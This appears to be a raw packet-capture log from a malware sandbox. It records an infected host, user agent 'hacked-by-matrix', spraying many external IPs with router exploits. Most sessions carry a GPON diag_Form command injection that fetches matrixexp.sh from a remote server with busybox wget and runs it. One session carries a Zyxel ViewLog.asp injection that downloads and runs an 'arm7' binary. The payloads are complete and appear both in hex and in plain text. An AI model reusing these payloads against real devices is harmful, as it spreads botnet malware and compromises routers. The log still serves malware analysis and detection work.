Mar 21, 2024 05:26:28.264561892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.23	49222	210.5.171.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264563084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.23	53348	109.17.27.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264563084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.23	58360	2.101.147.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264599085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.23	35554	109.22.253.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264610052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.23	35236	212.252.86.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264625072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.23	40284	109.13.146.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264626026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.23	35446	178.222.110.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264638901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.23	55908	2.203.78.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264638901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.23	42530	5.1.196.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264647961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.23	43872	178.44.209.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264694929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.23	60358	212.68.198.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264710903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.23	50076	5.131.246.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264710903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.23	50802	118.27.120.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264719009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.23	58290	79.26.234.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264719009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.23	35444	178.196.110.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264728069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.23	34678	37.254.91.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264728069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.23	46164	181.49.31.197	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.333633900 CET	745	IN	HTTP/1.1 400 Bad Request Server: Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: Cache-Control: no-cache,no-store Pragma: no-cache Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.23	50100	128.140.85.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:29.317910910 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:29.519917011 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Thu, 21 Mar 2024 04:26:29 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.23	54444	213.32.50.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:29.366606951 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:29.531322002 CET	136	IN	HTTP/1.1 405 Method Not Allowed Server: SuperSonic 1.1 Content-Type: text/html Content-Length: 208 Connection: close
Mar 21, 2024 05:26:29.531347036 CET	220	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Method Not Allowed</title></head><body><h1>405 Method Not Allowed</h1><p>The requested method is not allowed for the URL.</p><hr><address>SuperSonic 1.1 (Debian)</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.23	55008	2.17.221.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:29.366790056 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
